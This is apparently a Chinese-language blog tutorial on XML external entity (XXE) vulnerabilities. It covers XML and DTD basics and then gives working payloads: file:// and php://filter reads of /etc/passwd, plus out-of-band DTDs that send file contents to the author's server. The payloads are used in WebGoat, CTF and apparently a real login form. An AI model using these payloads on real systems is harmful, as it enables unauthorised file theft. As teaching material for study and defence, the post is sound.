目录

XXE漏洞原理

XML 基本格式

XXE 跟 XML 有关联,先了解一些基础知识再玩儿漏洞。

XML 是用来传输和存储数据的一种标准格式,就和 JSON 格式一样都是给你一个框框你往里填数据,大家都遵守这个格式在各个语言解析数据时就方便,不需要针对每个格式编写一套解析规则。

下面是从菜鸟教程摘的一段 XML 格式的数据,每行我都放上了注释。它和 HTML 某些特征一样,标签成对出现,开始标签里可以有属性。

<!-- XML 文档声明 -->  
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- 每个 XML 文档必须有根元素 -->  
<note>
    <!-- 根元素里面叫子元素 -->  
    <to id="1">Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
</note>

XML 标签中数据是特殊字符时用 HTML 字符实体引用,避免解析器错误闭合。

<?xml version="1.0" encoding="UTF-8"?>
<note>
    <!-- & 符号使用十六进制数字引用 -->
    <to id="1">&#x26;</to>
    <!-- & 符号使用十进制数字引用 -->
    <from>&#38;</from>
    <!-- & 符号使字符引用 -->
    <heading>&amp;</heading>
</note>

内部 DTD 声明

DTD(Document Type Definition)用于规范标签命名和属性的使用,不再像前面一样随意命名啦。

DOCTYPE 就是声明 DTD 的标签,其中 root-element,就是前面提到的根元素,这里可以自定义一个根元素名称,接着 [element-declarations] 里面可以决定根元素里面使用那些标签——想要在 XML 中使用任意标签就写 ANY [ANY],这些标签类型怎么设置。

<!DOCTYPE root-element [element-declarations]>

下面看一个实例。

其中 <!ELEMENT note (to,from,heading,body)> 定义了 note 根元素里面只能包含 to、from、heading、body 这四个子元素。

<!ELEMENT to (#PCDATA)> 就是声明了一个完成元素,则是说 to 是元素名称,#PCDATA是元素类型——两个标签中的值如果是标签可以被 XML 解析器解析。元素声明看这篇文章

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend</body>
</note>

外部 DTD 声明

上面的内部声明标签和类型声明都放在 XML 里面,它也可以像 CSS/JS 一样去引用外部资源。

我们把标签和类型定义摘出来放入 note.dtd 文件中。

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

直接在 XML 中引用这个外部文件,打开浏览器你会发现 XML 正常解析。其中最关键的是新增 SYSTEM 来引入 DTD 文件。这里需要主要 xml 属性 standalone 值不能是 yes,因为它表示当前文档是否独立不依赖外部 DTD。

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend</body>
</note>

内/外部 DTD 实体声明

什么是实体呢?可以可以想象成“常量”,提前定义好一个名和值,后面来调用它。

你看我们声明实体的语法和表示标签的类似,就是关键字从 ELEMENT 换成 ENTITY,同样定义外/内部实体区别在于有没有 SYSTEM 关键字。

实体还分为以下几种:

  • 参数实体(parameter entities),定义时带有百分号。
  • 内部实体(internal entities),定义不带百分号。
  • 外部实体(external entities),定义不带百分号。

下面给出两种实体定义方式:

<!-- 内部实体定义 -->
<!ENTITY entity-name "entity-value">
<!ENTITY % entity-name "entity-value">

<!-- 外部实体定义 -->
<!ENTITY entity-name SYSTEM "URI/URL">
<!ENTITY % entity-name SYSTEM "URI/URL">

怎么去使用这两种实体?

内/外实体调用是要在标签页使用 & 开头,中间为实体名称,最后; 结尾。

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE exp [
    <!ENTITY % value SYSTEM "http://xxx.xxx.xxx.xxx/2.dtd">
    <!-- 参数实体引用 -->
    %value;
]>

参数实体呢必须要在 DTD 中调用,直接用 % 跟上实体名称用 ; 结尾就成。调用时 XML 解析器会吧对应名字替换成值,下例中 pass 实体在被引用时值会被替换成 file://c:/windows/win.ini

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE exp [
    <!ENTITY pass SYSTEM "file://c:/windows/win.ini">
    <!ENTITY shaodw SYSTEM "http://www.xxx.com/1.dtd">
]>

<!-- 外部实体引用 -->
<exp>
    &pass;
    &shaodw;
</exp>

利用

file:// 读取文件

要是引用外部实体是一个文件,是不是能读取文件内容呢?下面使用 WebGoat 8.0 练习 XXE。

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE exp [
    <!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<exp>
    &pass;
<exp>

BurpRequestXXEInjection.png
XXEInjectionComplete.png

同样也可以使用 HTTP 协议读取内容,这就有点 SSRF 影子。

远程调用DTD.png

其中远程 DTD 文件内容是。

<!ENTITY file SYSTEM "file:///home/webgoat/.webgoat-8.1.0/XXE/secret.txt">

Burp 发送请求后,服务器收到 Web 应用发送的请求。

111.200.55.98 - - [20/Jul/2020:12:33:11 +0800] "GET /attack.dtd HTTP/1.1" 301 162 "-" "Java/11.0.1" "-"
111.200.55.98 - - [20/Jul/2020:12:33:11 +0800] "GET /attack.dtd HTTP/1.1" 200 199 "-" "Java/11.0.1" "-"

顺利得到结果。引用顺序是 DTD 文件 -> DTD 文件内实体,在本例中是 XML 解析器发送 GET 请求得到 attack.dtd 接着调用 dtd 文件内外部实体让解析器去去文件内容。

secret文件内容.png

php://filter 读取文件

PHP 可以采用 php://filter 获取目标文件的内容。

<!DOCTYPE a [ 
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % dtd SYSTEM "http://www.xxx.cn/attack.dtd">
    %dtd; %accesslog; %data;
]>

attack.dtd 的内容。

<!-- 通过 PHP 接收 GET 参数来获得数据,也可直接查 WebServer 日志 -->
<!ENTITY % accesslog "<!ENTITY &#37; data SYSTEM 'http://www.xxx.cn/?c=%file;'>">

Payload 引用外部实体文件 dtd,文件内容被解析后调用参数实体 %accesslog,accesslog 参数内容是个嵌套实体,调用会联动触发 %file,最终数据当做 GET 参数传递到服务器——GET参数不会有长度限制吗?

主机/端口扫描

由于采用的是 HTTP 协议请求外部实体,我们也可以像 SSRF 一样探测内网和主机端口。

DOS

XXE 还可以进行 DOS,主要先定义一个实体值会有很多,接着循环嵌套相互调用多次即可。

OOB

有时候就是获取不了信息,可以尝试外带。

应用在登录时发现 POST 参数 txtXML 用 XML 传输信息,就直接尝试插入外部实体。

<?xml version="1.0"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://www.raingray:12345/p/fc279b/kPKR/">]>
    <EFSFRAME efsframe="urn=www-efsframe-cn" version="1.0">
        <DATAINFO>
            <LOGININFO>
                <YHM>1</YHM>
                <YHMM>C81E728D9D4C2F636F067F89CC14862C</YHMM>
                <LOGINIP>1.1.1.1</LOGINIP>
                <MAC></MAC>
            </LOGININFO>
            <foo>&xxe;</foo>
        </DATAINFO>
    </EFSFRAME>

http://www.raingray:12345/p/fc279b/kPKR/ 里响应的 DTD 是。

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY bbbb SYSTEM 'http://www.raingray.com/p/a8a2ca/O14/?data=%file;'>">
%send;

实体被解析,Xray 盲打平台收到 HTTP 请求。可以获取主机名等信息。但像 /etc/passwd 这种带有换行的就不好获取,会失败。

收到外带请求.png

CTF 比赛中 Bind XXE 的第二种方案是:

首先在 vps 上创建 1.dtd,开启 http 服务确保能够被访问到。

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % send "<!ENTITY &#37; bbbb SYSTEM 'http://www.raingray.com:7172/?data=%file;'>">

最后向服务端发送 XXE Payload。整个过程是服务端先解析了 XML Payload,首先执行 %sendFlag; 向VPS 上获取 1.dtd,随后执行 %send;%bbbb; 将 /etc/flag(实际上最好先请求 /etc/hostname 试试漏洞是不是存在,而不是一上来就读取 flag) 中的一行数据发送到 VPS 7172 HTTP 端口上。

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE exp [
<!ENTITY % sendFlag SYSTEM "http://www.raingray.com:7172/1.dtd">
%sendFlag;%send;%bbbb;
]>

总结

哪些地方可能存在 XXE:

  1. HTTP DATA 是 XML 时可以尝试。
  2. 有时某些库也默认解析 XML,可以尝试把 Content-Type 改为 Content-Type: application/xml

防御(待补充实例)

  • 配置对应库禁用使用外部实体。
  • 采用黑名单方式过滤用户传递 DTD 关键字。

参考链接

问题

  1. 除了可以通过 http、file 协议可以关注语言本身还支持哪些。

最近更新:

发布时间:

摆哈儿龙门阵